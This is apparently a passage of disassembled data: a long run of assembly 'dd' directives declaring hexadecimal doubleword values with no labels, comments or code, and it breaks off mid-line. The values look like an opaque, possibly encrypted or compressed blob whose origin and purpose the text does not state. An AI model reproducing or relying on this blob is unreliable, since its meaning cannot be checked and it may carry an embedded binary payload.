dd 1BDD6259h, 8B08C907h, 3C2B930Eh, 43880B54h, 9E5FBD10h dd 0F0BF404Dh, 3DD83A49h, 0CB8C7001h, 23A97A3Bh, 67212D0h dd 993BC71Ch, 0E9721787h, 0E49CCC39h, 2B81D75Ah, 0EAC80C8Ch dd 799C0246h, 5919C0EBh, 640D01FFh, 5AB90D20h, 43658B70h dd 0F5AEED10h, 15ECA3Fh, 0C37FDEA8h, 362C290Eh, 1A39489h dd 69AF1969h, 332DF44h, 0BC8D379Ah, 0CF1424B9h, 0A63FFBF8h dd 8C94A7E1h, 0EAE0B19Ch, 382AF8E3h, 732C01E3h, 4139FE42h dd 83DDBC1Dh, 3BC29F7Eh, 3FFBED9Eh, 4CD7BDE7h, 0A787D157h dd 55444B4Fh, 28090A15h, 0FB62B19Ch, 426FB449h, 8B4D93BEh dd 0A5DF0828h, 72C546A8h, 39309A6Dh, 8AB63C2Fh, 0BD4F94B0h dd 819E9ACEh, 5468B72Ch, 6CD2D3D9h, 3A3C1C36h, 0EA8A4C0Ah dd 644398AAh, 45D0E1F7h, 70D78245h, 5A147CDFh, 0FCB23729h dd 6327F83Eh, 0CDE26D68h, 6A7BC5BCh, 956D92BFh, 0D45BE1D9h dd 583941ECh, 8CDC2118h, 6232E48Bh, 94C3DCFAh, 44FBFF78h dd 0EA381F71h, 25F84D61h, 4180661Ch, 3B232E1Dh, 7C610109h dd 8A68B3F7h, 98A53702h, 9EEF2FF7h, 0C113B0AAh, 5CA7824Ah dd 0A4260005h, 0BBD958E3h, 4E596078h, 9CA1D647h, 43794F94h dd 9298390Bh, 341CB6CFh, 0D08E33BBh, 0BE7BE4C3h, 11752B93h dd 80228F4Ch, 0B1FC15B4h, 73A3BD5Eh, 0D399D2C9h, 8B68C7BCh dd 0D30FA2FDh, 762E0D9h, 0AAACE175h, 16ACAF11h, 32F51889h dd 0C29EE663h, 0E0A6A437h, 0EEF2A292h, 71E79E8Ah, 0AECBC2C4h dd 3DE72608h, 567D8DEAh, 402ACF78h, 0C4A15933h, 0BBCFB3E7h dd 0C98378BBh, 1E99539Ch, 25B7BD66h, 133CE8E3h, 0ED639555h dd 0DEC57B83h, 2C149E33h, 1F7F3E52h, 96978680h, 30F044h dd 0C7904DCBh, 6AAAF32h, 5857F0E3h, 0AB973870h, 97D4E87Dh dd 66353CA6h, 0FFF2272Bh, 3F64D309h, 369A2CFDh, 1F47DDB2h dd 0B5AEBF62h, 0EC59454Ch, 67CEC64Dh, 0CB58CAA7h, 922A5DBEh dd 5A813215h, 0BB980107h, 0CE7F719Dh, 35381799h, 0A1DF1ED2h dd 4993D5Dh, 0A80885CEh, 87B56A4Ch, 0F0073055h, 0E6253F8Ch dd 0C8EB3745h, 9DF6691Ah, 1E97B3C0h, 0B7949506h, 0C6F9B3F1h dd 0A7D5847Dh, 0C7EBE6Ch, 0C9F75CF9h, 0EC236FFFh, 0B342EFFAh dd 81DFC4ABh, 0EFC6E87Ah, 0F9EEEB4Eh, 2FCF30F5h, 15E999F1h dd 0C3D2C0F3h, 0B961C172h, 33DC6B32h, 0EAA96F8Bh, 5C722A48h dd 1639A0EAh, 1A7A4016h, 5303A442h, 0F3F14DF4h, 0B7D4AD0Dh dd 0B588B8EBh, 0C502D863h, 0C1B302CDh, 84A823A1h, 0E2E21DAAh dd 0EA3F27F4h, 3C710FF5h, 68368335h, 7D2822C5h, 7B87E872h dd 3757931Bh, 463DF220h, 0E464EEC3h, 0BB63DF9h, 0CEC7ACE1h dd 0F3A8013Ah, 403E04D3h, 58098F9Eh, 1B932146h, 7AD8E03Ah dd 15409DEh, 0A08A1F81h, 19123D09h, 7D802A0Dh, 8370B237h dd 29BB9E8Ch, 0EA425C2Fh, 61CBD983h, 4725B2Bh, 27595F0Fh dd 5992A2A8h, 0F00842D3h, 0D217F501h, 0D12C080Fh, 0EFB49F22h dd 78CD3348h, 43531h, 714486FEh, 37F25AB8h, 44BF72EAh dd 221A77BBh, 49CF3FF5h, 0A608D9DCh, 91B8E211h, 0F8245397h dd 0BCAA465h, 81470614h, 21A6FA96h, 0EFE2142Ch, 4DD084h dd 606D2215h, 26D70D75h, 4CBA96AAh, 0FE44A850h, 0E0232054h dd 8CA45A5Eh, 48213CF1h, 2FD92512h, 0D696943Ah, 79076337h dd 9298CAEFh, 0D8097DF5h, 8C6B9D04h, 39444308h, 9550DCABh dd 853A52BCh, 3DF00316h, 7D278F72h, 0F6B0A729h, 1DD956AEh dd 9F828B9Ch, 0A2C7A4FBh, 0DD075C8Eh, 0BE93224Eh, 0DFA3CE2Ch dd 4B2B7C5Dh, 0BB2A5791h, 7C27BA06h, 0CC727017h, 1A1FD953h dd 0AE11BC09h, 0FCDDD3D3h, 4580C5FCh, 66AAB02Bh, 2526B8F0h dd 2AD124E1h, 8B606BFCh, 4E59ED3Bh, 9AFB1DB5h, 41FE6552h dd 6D246DE4h, 0D11ECD1Bh, 1AE20E36h, 0D28EC91Dh, 35904852h dd 3E848BFCh, 3AAF49CEh, 57FC6C2Ch, 85D599E9h, 41FC6346h dd 7CF7BC35h, 0CEE906E1h, 74E118BEh, 536D71AFh, 61ABDEA3h dd 1A3B5D9Dh, 0B1695186h, 7165FA96h, 0EE7D1F4h, 0D520E618h dd 0E612D8E5h, 0AFE3240h, 1EC07004h, 5C81600Ah, 31AE7307h dd 6C67FF12h, 0F48F1291h, 915F8CEDh, 0B6E5CC1Ch, 56A87A9Eh dd 0B76320C7h, 0F938F658h, 0F01FE6A8h, 0EF1E196Bh, 0F94838C6h dd 0BC43896h, 0C9034906h, 75871D91h, 939490D1h, 0A98295B7h dd 8B7D5ED5h, 2EE25DBh, 0A76E6DD3h, 0A9A67566h, 0AC858A4Eh dd 21609F31h, 38176A29h, 0A91CB0BEh, 0F2B97C3Fh, 4C737C7Fh dd 0B185F397h, 76B53D7Fh, 6108AA0h, 607F06C3h, 0B2BA8A94h dd 0EB71A4A7h, 77AAF074h, 48E25AD4h, 0CFCB9E46h, 90923393h dd 7A30014Eh, 90562E8Bh, 0E226B601h, 0B642D5E6h, 0FE0A2812h dd 301F81B6h, 0FC615B51h dd 0EEEE06EFh, 0CD2170D4h, 7E139936h, 84201C1Bh, 9FB8CCC5h dd 25005263h, 0D4A2024Fh, 75FAEAA4h, 727198FAh, 0A2C1EEDDh dd 2DCB96A7h, 765DD69Ch, 3FBA92A9h, 9635B6C9h, 92D4BD8h dd 37CE9E3Bh, 8CFA7DFBh, 8372801h, 2A5F8267h, 0D4AE1663h dd 520C8B5Ch, 920C4B4h, 8305C426h, 0E350F15Fh, 49A3323Bh dd 613F0D1h, 0DB37BACCh, 0A87EF875h, 0CC311A3Bh, 9210CCD0h dd 150B1C23h, 5E010EC5h, 5C78649Dh, 51F15FB0h, 0DF23C3FCh dd 0F7B50E18h, 0F7378110h, 351C1966h, 9F96A9C0h, 0D3FFBBE1h dd 9EB22B4Ch, 3FF3D862h, 63340434h, 0CB17D272h, 7D6DDBF6h dd 0AD5C92AEh, 14161469h, 8FBF8593h, 92C8C99Dh, 0B259B2E5h dd 0D567FD86h, 0D3C19123h, 0B25BC2E9h, 0AF8AC275h, 0BE9F3F90h dd 0B190FFB0h, 0D6AF9184h, 5700905Fh, 2BE56466h, 6CB49AA1h dd 7BD02FA3h, 76F9E61Ah, 0AA7BB163h, 72806AD7h, 5245D7FCh dd 35DD4E80h, 0F42FB163h, 0E608CA6Bh, 5C9CC180h, 3DF2C25Dh dd 1F7E6AB9h, 195D5DB5h, 66134622h, 91D8A01Dh, 0D131F9F9h dd 0B375548Dh, 977289C0h, 0D5CCCDC4h, 5971DF1Ah, 9D06F2D7h dd 7698541Fh, 4F7EC037h, 7F587591h, 617C9EACh, 0D83D284Dh dd 0CBEA34B5h, 0D1CB2CBCh, 5A344AB5h, 0B1F711F6h, 535C6D42h dd 18F2F879h, 9F3ADFDCh, 173C3BB2h, 0A57A773Bh, 0AF146BF7h dd 0EB06BD2Ah, 17B0D7A5h, 805D5392h, 38ABBC91h, 0B8746F50h dd 72F25CDFh, 683E3220h, 32C8F459h, 29541D36h, 7344C925h dd 9168A798h, 52A61DECh, 3B7206F6h, 77471528h, 0ECA79FC2h dd 1E418973h, 9EE3EDE6h, 6F8060Eh, 563E5ACDh, 0D46FB761h dd 8D79EF3Eh, 0AA5078B6h, 0DAAB685Ah, 0DB8FD087h, 12B421D1h dd 310753Dh, 88CBE399h, 4533DB8Eh, 0DB5BE6EFh, 0AA00691h dd 0EC6A6A1h, 8AA7AB11h, 0F8C16454h, 0F010833Eh, 0B9885915h dd 0BF5E18EAh, 0FE45CFE3h, 0A58F8E1Bh, 24E29DABh, 0C74B8B09h dd 88EC9E70h, 7CD30B01h, 91187B47h, 26D8B8B4h, 6801D78Ch dd 9550D0E0h, 41BB067Ch, 0AF5C88E4h, 0A6B54287h, 0EBF83977h dd 0F4BEA5F6h, 4A09DD3Fh, 0B8615B4Dh, 28665F1Ch, 7CF65338h dd 2716CEE8h, 0EB27218Fh, 0A1CB7E22h, 57A65AABh, 35C1D013h dd 0E26C57AFh, 0DCEE7D05h, 0D58BF72Ch, 13F5F7Eh, 8BC4006Dh dd 0C4B624EDh, 0F257A966h, 9931B9E7h, 0DC662DA5h, 78AAB5D7h dd 0D49B8A1Fh, 0A0E8EE45h, 399345E3h, 22BCF9F6h, 4A098BE7h dd 15AD2DAFh, 0BE97A245h, 81817383h, 0BCF98A02h, 63CB5A2h dd 2909C320h, 0B49D2836h, 28500F4Dh, 0A65FB4F7h, 1840DB86h dd 67BB6904h, 79F956Dh, 0DB6A2A67h, 718AC222h, 22C01B17h dd 8B73996Eh, 0ECDD372Ch, 19C43887h, 3B1C7537h, 0A80512E7h dd 8B4C8887h, 79A61078h, 14F32867h, 0C38E5AFEh, 0C42644D9h dd 0F5CAB66Ch, 0FEF4BC84h, 6E26974Bh, 0B9EBE737h, 0A7A4BA4Eh dd 8508539Ch, 0B1161413h, 0A147FCD8h, 0DA8CEB90h, 75E3A2Ah dd 0F1B07C42h, 0BC56F921h, 0A2F3A1F0h, 22542CF6h, 0AC6F58C3h dd 0E2004A0Dh, 0FFFEA498h, 0DD7B9F5Bh, 2ECFDF66h, 5D1C2293h dd 859189D2h, 1C40253Fh, 85ED677Eh, 89F62B5Eh, 0C6966FAAh dd 79538B06h, 0EF00D04Bh, 0B06B3363h, 0BACDB144h, 0B48D570Dh dd 0DFB0035Bh, 0B187700Dh, 0D0A36AB1h, 8273B3F0h, 98D6CA40h dd 1377AA9Bh, 4965C4E8h, 0AB669D3Dh, 4F66862Eh, 0E3EC627Dh dd 0DAAC5D6Eh, 6FB4F393h, 0F1B09F98h, 165E6067h, 0C7D04639h dd 29580B02h, 5AB2B037h, 1A497075h, 0D721288h, 0D9D49766h dd 0ABC413FDh, 1684C941h, 0CE757049h, 0BDA0948Eh, 0C5B4427Bh dd 76BD9DB7h, 7D864DA5h, 8610D2A8h, 67C2513h, 9A7987C4h dd 0A53E6DEBh, 0CA97366Dh, 2425A0D4h, 0C00DC021h, 0A7C429AAh dd 0A01A614Ah, 0E7379B4Ah, 0A09A9A7Eh, 35777249h, 4772AC50h dd 3F730080h, 8A66A1C4h, 0BF331B7Ch, 0DA93AA95h, 7D13205Ch dd 40F4B2F5h, 0AC6A263h, 6BFC9478h, 6648BDF1h, 0F1E612Dh dd 0ABC67EDBh, 8A67D442h, 0EEDB2394h, 0DA50A229h, 6A283AD3h dd 0CC5C65BDh, 4340D81h, 90E7820h, 9C53FEDBh, 0A88CBBA2h dd 9C56E159h, 2C887FDBh, 90056A21h, 0C53A75F5h, 6A3D7DE8h dd 77F1887Eh, 8929AB54h, 65191BEh, 0A0D5C1E7h, 3B8B5B2Dh dd 0A5CACB6Ch, 48DA7807h, 0EA28BACFh, 4CCBEB82h, 0B6841407h dd 0CE25F5C0h, 16957A1Fh, 3E32CB2h, 0BD42FEBEh, 6C42F9F4h dd 0A2B6757Bh, 0A810892Bh, 5FE45B1Ch, 0AE751022h, 0D59B2688h dd 0E58BA3D9h, 460B4117h, 66A823F7h, 873CC28Eh, 0ACD21A82h dd 0B3C30A62h, 0BC4FDD70h, 53570FD2h, 6833E0BDh, 4B9349h dd 4B4224AAh, 161CD890h, 0E57CA11Bh, 0E36657A3h, 0C6C9E6E1h dd 0BDD0B0C8h, 1DD98C74h, 5E257E38h, 9CB8668Bh, 6987D66Fh dd 43C9C114h, 0EDD1E066h, 981F3837h, 6AC38151h, 5A6E0D49h dd 151C2C3Fh, 1E1C18h, 8446B0DDh, 7D5DD8EEh, 72554AA1h dd 50C6E2Dh, 0E74A8B58h, 4373193h, 7307AD8h, 0F9431A06h dd 28754976h, 626F9E9Eh, 0BCC76AF6h, 0FF1431FBh, 2618F051h dd 7DD6675Fh, 0AB11CDBBh, 5A373AB0h, 2441DA99h, 0FBE29443h dd 4CC0D8C7h, 0E261B59h, 0BB4F9146h, 0F04E3CE4h, 8D790B96h dd 4EF5AE4Fh, 3AD34737h, 868AA651h, 6CE2BEABh, 0F1C09E65h dd 9362B772h, 52F0890h, 0A25E6066h, 8057B530h, 74F3E1FBh dd 5E5D893Ah, 55928EEEh, 0B1BB9CFAh, 0DBADF0C1h, 0CDCFA80Bh dd 49F69FEDh, 0D3C5D86Ch, 0DEB851F8h, 7C754786h, 7C3586C2h dd 0E783424Eh, 0EAA2EB2Fh, 0DFF43395h, 4178C919h, 0E22E600Ah dd 0A44E19D5h, 0D09EE57Ch, 6B779C15h, 0D65C8DA1h, 3CDF479Bh dd 0AE58F34Ch, 82AFC7ADh, 0CACDF16Ch, 0D695CE0h, 8C45A0DEh dd 6A622A73h, 91836AF8h, 3B8F5B30h, 82120712h, 0EA2B6AC6h dd 0FDFDE888h, 3B43EC83h, 1625F69Bh, 27F9BD1Ch, 0F180A112h dd 9186DC23h, 1C4EFDFBh, 2CDD279Fh, 0EDF335E2h, 42D0852Ch dd 0AEC7923Dh, 2094C518h, 2719057Bh, 0ACE19AD8h, 0CE87F813h dd 7B990365h, 407E0A59h, 0A77391EAh, 782EF359h, 1023C29Ch dd 11994754h, 35529CB0h, 27512012h, 45177B5Ch, 0ABD00260h dd 3A892863h, 0A8785C27h, 0EBFE155h, 0E5B1F2D3h, 7363CF22h dd 4F012447h, 5E62FECFh, 9D9DC70Bh, 8DC0BB0Fh, 45D2443Eh dd 0CEEC530h, 0FB37D31Fh, 0B4BC9461h, 0EC646B50h, 4D276B37h dd 7266FC23h, 0A794D010h, 4BB0F79Eh, 0B4C42C51h, 127F4698h dd 0F48F851Eh, 0C9D3538Fh, 15F9D996h, 0B6C15DA5h, 5FFD2390h dd 0F6ADB74Bh, 0A99E93B2h, 73CCE236h, 934D7176h, 5CFBD87Dh dd 0AC54C70Eh, 0A8294359h, 0EE8FA9B3h, 0F08CD0A2h, 487B2F6Fh dd 0B256246h, 9F1D7312h, 9C206A21h, 0B42144CFh, 303E088h dd 2E3FCC43h, 0B5E0E9B4h, 128F8DD4h, 0EBA53A2Dh, 0F3FEB275h dd 0C4FCCAFBh, 84072281h, 21DD3F85h, 0DF29927Dh, 0AA91FA71h dd 41DDEF4h, 6D811082h, 0AE792345h, 739CCC95h, 9B667C8Fh dd 3A9FD24Eh, 5795C3FBh, 96752199h, 0AB0CE8E1h, 27E683DFh dd 0CDAF364h, 0B46B767Dh, 0E22DB563h, 0AD421AD6h, 89B622D9h dd 2032A5DEh, 89E95BD9h, 88E10F4Ah, 3C1F7773h, 6E749553h dd 134EE3Ah, 0CA67D5D0h, 0A6A4B7CCh, 0BBFC1A8h, 0DB8374A6h dd 930C56EAh, 0D1D82079h, 5A5CFA9Ch, 3887D044h, 3E2772B0h dd 809CE968h, 4BF896EDh, 9BC56BEDh, 12CA38E2h, 16DDCA55h dd 0DA40C71Eh, 0AED24915h dd 231B4DE5h, 0F4CA76C0h, 54441DDBh, 2AB9F2B2h, 78D7023Dh dd 0AD99C817h, 907B0AA0h, 15ADDABCh, 0E1F4F0C3h, 9C83B9E1h dd 0E70FD13Ch, 0F3367BF5h, 38BA5E49h, 8239BA4Ch, 54F56D17h dd 0C6ED6439h, 509B5424h, 0CBD1FC78h, 11414A99h, 1408A603h dd 0F2D7587Eh, 0C26E624Fh, 0B2C7240Bh, 207D6FE3h, 9D0138B7h dd 82DE14D7h, 2993C836h, 23045F5Ah, 0F5AC0557h, 7FAF3361h dd 5924B60Dh, 0E1EB60Bh, 5DF1814Fh, 28E65352h, 4BC38A7Ah dd 32E7A74h, 813F07B0h, 10CE9A9h, 0D1484EF8h, 1DD5A0BEh dd 99AE1140h, 1E36535Dh, 0CF0C6BD4h, 32C0BD48h, 0A17DCBD6h dd 491B9273h, 0DD7227CBh, 0E8AC4221h, 754F29C6h, 0D087E2C3h dd 0A1A17401h, 0C3487F47h, 4112AF56h, 4045E4BEh, 50C3F2E1h dd 340F325Fh, 0D2B445E2h, 8374E7EAh, 0E08792B4h, 6DC906E8h dd 0E6EF30A9h, 0F098BC1h, 49ADC6Fh, 6F48B2EBh, 8FCB8B4Bh dd 339CA215h, 2C328EAAh, 83ACA394h, 9E16CBF5h, 469E7862h dd 0A9A048EEh, 6C929E11h, 0F470BB6Dh, 950D4B16h, 52E6D8E0h dd 6303619Dh, 3FCD05C9h, 232954EAh, 94F917C3h, 7AEE7DF8h dd 0D2E40DAh, 0DD72F9F6h, 4C3B83B5h, 3375F72Dh, 7541F321h dd 9D11C6BBh, 0DC14613Bh, 3417D12Dh, 21A89207h, 45D6EB2Fh dd 0CFB316DEh, 0AF2595C9h, 0E0DBCD2Dh, 0C7AFD08Fh, 7E3AD96h dd 4300FB06h, 0CD46AF3Eh, 1C3D7CBFh, 0E8539C67h, 8AB98158h dd 0E7503338h, 0F1EDF236h, 3FED8A31h, 3B34CA91h, 12D63DF0h dd 3608EB70h, 0A8532621h, 0C2415F2h, 656F5F0Eh, 840D81A2h dd 2717FFAFh, 6CD7B2A8h, 4849AB6Ch, 18FEF5E7h, 0CC40BB7Ah dd 31718506h, 0F4C399B8h, 0AB3D83ABh, 0A5C16A9Dh, 6F60A9F3h dd 0AA294870h, 8C9D257Eh, 0CF4207h, 0C7DAE92h, 7BE5E9F0h dd 88BBC21Eh, 7DA15024h, 0CDF4CF65h, 0C7BFDBACh, 0B1E9B9FBh dd 1474BDE4h, 0FA83046Ah, 403A7038h, 0BEACE4B1h, 0E18E63F1h dd 3B9B04Fh, 96B73465h, 59917731h, 27019AFAh, 0EB50B56Fh dd 0CC54C310h, 25DD6094h, 8C6F512Dh, 0CFCCBEF7h, 0C3F832A8h dd 87400D77h, 0D115B85Dh, 0E3CC7533h, 8DFABEEEh, 37F0FF12h dd 5115EA8Ah, 6B9F5E99h, 2FBDD785h, 0A8E2DC80h, 571BF28Bh dd 0F0F4B218h, 5A21B375h, 6D29BBF5h, 163A8B09h, 0B63FB6F4h dd 36706566h, 538DED40h, 9EB701D6h, 8417BFBAh, 1B738DCAh dd 70B0B83Fh, 0E493B5E6h, 43F1E71Dh, 3480EBEh, 5E11D32Fh dd 89E7D14Fh, 0EBFE9B46h, 17F826C0h, 59A346F0h, 2371AA3h dd 5AF4686Eh, 205A1BBDh, 0C1A8797h, 8BAA934Ah, 5B894C5Bh dd 208C0565h, 0A3B84BCh, 64FC010Eh, 0D8EFF800h, 524B1ECEh dd 0AD612F41h, 340BF5B0h, 5AD3135Ch, 0D8FF6F27h, 0A6C44661h dd 0D0F1D31Fh, 2D95DEDEh, 87DFD876h, 0A9A7DF9h, 2296B8ADh dd 0D2268101h, 38E4F998h, 0FDC4BD26h, 9BADBF42h, 261D23A1h dd 6B8BFC54h, 0E7F754DAh, 131A04D8h, 30FA3C01h, 0AC86B73Fh dd 0A859231Eh, 68AA15E0h, 76D9C5CBh, 0C852AF17h, 867E41BFh dd 8F600233h, 1935AB88h, 0D5C442CAh, 5A5193D6h, 0A684F2F1h dd 7D72AB88h, 3907724h, 1BF6C66Ah, 67FBA7h, 0D71D751Bh dd 35469102h, 0A2033268h, 1A36C197h, 0F91AC67Bh, 0E7D07041h dd 0E6A90834h, 1E8A331Bh, 6FF57613h, 0F5B1EB66h, 0F45EBCCDh dd 0A7FDD85Dh, 972F9D20h, 0E821D508h, 0DD0C6DB5h, 7A1B28F2h dd 0FA3C1C70h, 0CC2ACA1Bh, 0F90B1A16h, 75BF3CBDh, 0D83752EFh dd 788B3FCFh, 0BC4C726Ah, 660310A7h, 36FE93DFh, 606EFD97h dd 0CC88C7EDh, 3514F27Eh, 0F442EC3Bh, 0B7A44870h, 9EBAB551h dd 0CE2865D2h, 65FC673Ah, 9AC0F61h, 0F3914312h, 133C1C47h dd 0A7E19767h, 1E1123DCh, 11E307EEh, 45648920h, 595239ABh dd 1655A77Ah, 3DDBBFCAh, 0CE8DD010h, 0EEC9DE85h, 0EFE0AEE8h dd 27C59113h, 0FC98FE49h, 7A404478h, 84D515B2h, 646FBFDBh dd 6BA0C5C7h, 37329DB2h, 9BAEA9F6h, 6C4049C4h, 0BB96E2AFh dd 9F98DB55h, 0A99F3E72h, 552B3C23h, 0B0D07818h, 34275D1Bh dd 0D15F821Dh, 10CB4B9h, 482F4EA9h, 2A72600Ch, 0CFBA0ABh dd 7DDC4297h, 7EBF4D4Eh, 4EFD0954h, 0BEA82063h, 462724B4h dd 0F5416366h, 0C5A0DCC5h, 0B8887629h, 8A2F4406h, 0F7E12565h dd 1EAC09D2h, 716EF047h, 2CC37F97h, 78CE7459h, 0C62DB265h dd 0EEDE814Fh, 0A4C535EAh, 0BCD50F4Bh, 0E3433ED0h, 61DC128Bh dd 91611A99h, 0F14C11C9h, 0CCA46129h, 4EBC9D9Bh, 99C9AE8h dd 76276C67h, 555BFF4Bh, 6665881h, 0DA9B8221h, 0D3713968h dd 84FBFB92h, 0ADAB55B7h, 445ABD0h, 797439F0h, 524CA76Fh dd 46FC1443h, 5CDE1478h, 606B52E0h, 34403D2Ah, 9DB6A2B2h dd 0A49664A7h, 9E44E4F9h, 0BFE3DE18h, 0BEF20FACh, 7B737DCAh dd 617BC4F0h, 0EB2A3594h, 867D59Ch, 8B3239FEh, 0B71CAF7Dh dd 0FC0B06B8h, 0D3BB08ABh, 0E1618AC7h, 0E2AC3B30h, 20495E7Bh dd 0EA24CD12h, 8D06CFE4h, 0C37B9E4Ah, 1757D8E8h, 0E3B037A7h dd 97941537h, 7A2BC99Fh, 73D8CEFh, 0FCA8D55Ah, 0E05022A1h dd 3E170907h, 260052Ah, 3D95C8Bh, 0F35FDA3Bh, 2ED615CBh dd 0A7578F83h, 6EA589A1h, 0A299AE8Ah, 0F9BE622h, 25DA0B90h dd 0B41B6068h, 0F0BAE026h, 0F25C4F75h, 9DF4C508h, 2F191F1Fh dd 0F975B277h, 0B5EE6BC9h, 0EA487263h, 47FB4FDh, 8541A5Ah dd 7C7ABFFDh, 1BB3D313h, 0DAE097C8h, 1D62B8ADh, 6CE91A23h dd 397B2D95h, 9A1B9739h, 0EA554093h, 161730B1h, 0D3AF738Dh dd 0FE6D244Bh, 0C98C2DB3h, 0AD43DF4Eh, 8AFC3535h, 0CC99D674h dd 0A24D943Bh, 0B343F1CCh, 67502DA1h, 82D05E7Bh, 0E5D142B1h dd 216EBBDEh, 394C4E37h, 0D0F7133Ch, 9638CCCAh, 3122196Ah dd 88743CCDh, 8EA7F06Eh, 0D507A0F4h, 87ABCA77h, 8DFE0576h dd 0BD109642h, 0F1332C6Dh, 97D3C1B4h, 5603105Ch, 0E9CDE761h dd 0BB6E409h, 688A3896h, 0E1F7BE6Fh, 0BF2D9DC6h, 39BBB3BEh dd 6332414Bh, 0E836DFE6h, 0BC9B79BCh, 92C5900Ch, 87BAEFE1h dd 44830D5Ah, 85CC5AEEh, 0FF365AFBh, 0BC480E80h, 0E4EBBAE7h dd 8CC47DE9h, 0B744D019h, 0EA4AF41Bh, 30D7F177h, 0C80A500Ah dd 0C8E73EAFh, 0B1BCB491h, 0DD73C028h, 0EA95CEA5h, 3EB8E734h dd 4DE94396h, 19DCE41Dh, 9D579B70h, 729E5AEAh, 0D0F46AABh dd 5F30F560h, 6FA2A5C5h, 0DC1569B3h, 896CD58Ch, 0C444E08Bh dd 9416C48Dh, 14AE3071h, 0B8431563h, 21E4342Fh, 0A5B1220h dd 95184312h, 0CA557AB5h, 46F207D4h, 13925F05h, 2F6E038Ah dd 0BE9C3DA5h, 1E65B8D0h, 6B6D553Eh, 0D887A326h, 1A28E7BFh dd 3515F38Eh, 0D29828B1h, 3AEEE924h, 86B8AACDh, 58311C94h dd 37791928h, 3A2E8D0h, 4890A086h, 4B491790h, 6596F245h dd 0D98408EDh, 63F7D856h, 0F9275D81h, 4BFD002Dh, 0A33ACC66h dd 0A4526BD6h, 13D4B8D2h, 0A6C3EA1Bh, 6162FD6h, 40D0C496h dd 4E60E4DBh, 3357C703h, 0DA4296Bh, 0A0BB188Ch, 5EC4D45Eh dd 5C00E788h, 0D51BE560h, 78261C3Dh, 9F0C58F1h, 34BACFADh dd 449B7Ch, 0F6DAB263h, 2E3B817Eh, 90E89EB6h, 0E9306BD0h dd 2B2C4129h, 0AA23A321h, 5F9B69C6h, 186B3938h, 97FB70D4h dd 0B19FCD1h, 697DE1C2h, 0A1C8563Fh, 0E7546A53h, 838C8B5Fh dd 0B9C28DC7h, 0C98D516Bh, 4EDD8653h, 8119D723h, 0AD9DED6h dd 0CC37CCD0h, 0D64DB71Ch, 5DDE89F1h, 0E6A57BCDh, 6555A7D8h dd 2F8834D4h, 0BA901BD2h dd 0C29B4E08h, 3C629AAAh, 9C400DFBh, 5A7CD430h, 66DB3D9Fh dd 87892D0Ah, 2413A374h, 56CF1466h, 2AF12619h, 13ACDABh dd 2FD1D0B6h, 0C0C2D75Fh, 0C22E55BBh, 71F0D5E2h, 65204214h dd 8DB9D379h, 6E61F649h, 25F322DAh, 108A67BEh, 8C64D222h dd 3B7E8BE8h, 0BF39F606h, 7EA0E1DDh, 2AA907A6h, 0F26F9B4Ah dd 0E3C55868h, 58B2CDEh, 7FC6C0B8h, 9229CC52h, 67E4AD82h dd 94CF1DE6h, 2CC0D806h, 0B2DBADD8h, 17D3C343h, 0D4EBEA9Fh dd 9FF49705h, 60412589h, 3F95B5CFh, 0F7F171D2h, 6E74D058h dd 0C6401671h, 5638BBADh, 797F9257h, 13FBE329h, 0CF4FD3F2h dd 0C55B7CE3h, 0EC8C56BCh, 1F0FEC63h, 877750DBh, 0AB8BC4C2h dd 72D743CBh, 664076A6h, 2D478333h, 5C896CEEh, 1E26798Ch dd 23B88419h, 0EEFCE450h, 26025D24h, 0EB3F4D0Dh, 1AF9A7C3h dd 3135D071h, 0ACE3197h, 8BEAD054h, 76F16124h, 93DF0B5Ch dd 262163E3h, 52FEF002h, 776B7D05h, 739E434Dh, 42D1A2DFh dd 0A7E89A31h, 26F5EC5h, 18B8283h, 9B8A6467h, 0E8C7C8Bh dd 3CED02ACh, 4469DBD5h, 0DCEEAE0h, 0C11B5FB7h, 967E3091h dd 694DB556h, 7070A349h, 45A7F5DFh, 759DB0Dh, 0DFD3F6Fh dd 3289440Ch, 0F661D322h, 1F23E3FDh, 0A693ACDCh, 1CFAE8A0h dd 2A14983Bh, 0F0318543h, 276FCB5h, 0C7CA1024h, 0F3E658DCh dd 1F02C82Bh, 0DCE5E728h, 7BF235FDh, 26B26D52h, 496317C6h dd 64820F62h, 158DE3EFh, 0C793B92Ah, 19B131B1h, 0F5D55D0Ah dd 0E0B8C1CBh, 0B0F377E5h, 8CCB4DD6h, 3B04C368h, 60EEC1D6h dd 0CC0447A3h, 8AA4C314h, 7F4098C3h, 5BBE871Ah, 0AB5E5F64h dd 14137C50h, 57E2D784h, 0D1CCB08Ah, 94341A42h, 429C03EDh dd 0AFF06663h, 821D5C13h, 6441293Eh, 40FF0FE3h, 49B2F7C2h dd 877F7C9Eh, 0DE3DEBEBh, 44D06906h, 0F9F29585h, 0CB37678Eh dd 0F1E38FBh, 0BF40D4CCh, 131CBDC4h, 9BF4A7ADh, 3EFD70FFh dd 4641C36Dh, 0F366B027h, 0ABA7F288h, 0CDC322Ah, 0E61834DCh dd 0ED5F03A5h, 0BF5BC2E7h, 2D592F21h, 556ABBABh, 0A6688DBDh dd 2A685B96h, 5DF2E226h, 6B27DF53h, 0BD5E359Fh, 30840DE3h dd 9852A1B2h, 1503E55Ah, 5B4893C4h, 0C97D7BE8h, 0AB115935h dd 0C9BAE1D8h, 0BF323BB8h, 92D47C3Bh, 0BFDB0A4Eh, 0EB4D646Ch dd 1D512CE8h, 178B9B79h, 0C0D2A681h, 4FC83C1Dh, 0D94CE3C8h dd 76CFD964h, 798EF1Fh, 1F558FC8h, 0F333FB11h, 0D3EF7586h dd 3E6CA290h, 25D94990h, 0F73E24ECh, 195B5C46h, 9880562Fh dd 0DFA2ACCh, 9A13C424h, 0BDA93D64h, 0AA9ACFB3h, 7D41DB32h dd 0FC1283h, 95EC6CD8h, 5F175FC7h, 0F84679D1h, 0E7911883h dd 0DC780E4Ch, 59B6CA9Dh, 8EB308FAh, 399E3F3Ah, 0FD35120Eh dd 58D82172h, 0B90C3AE6h, 0BC6D4197h, 57044D3Eh, 0A2EAD6BCh dd 431B5002h, 0B39CB904h, 6AEE246Dh, 0F1FE7C1Fh, 0FC59B397h dd 0D6CC8ECAh, 18A4595Ah, 225E61E0h, 45CF4DB4h, 0CD6B35FBh dd 0D2C8F2DCh, 0C0CD565Dh, 410429A8h, 0F3CE7A8Ch, 0EF1C933Eh dd 0D6A7DC00h, 1BA0CB01h, 36A83EC5h, 1725DACBh, 0E6E12AA1h dd 0DDDE5908h, 0F607D486h, 0A66A870Ah, 27071D12h, 0DD722760h dd 3273A6C4h, 24C5A0Ah, 0E06EB2C6h, 1058949h, 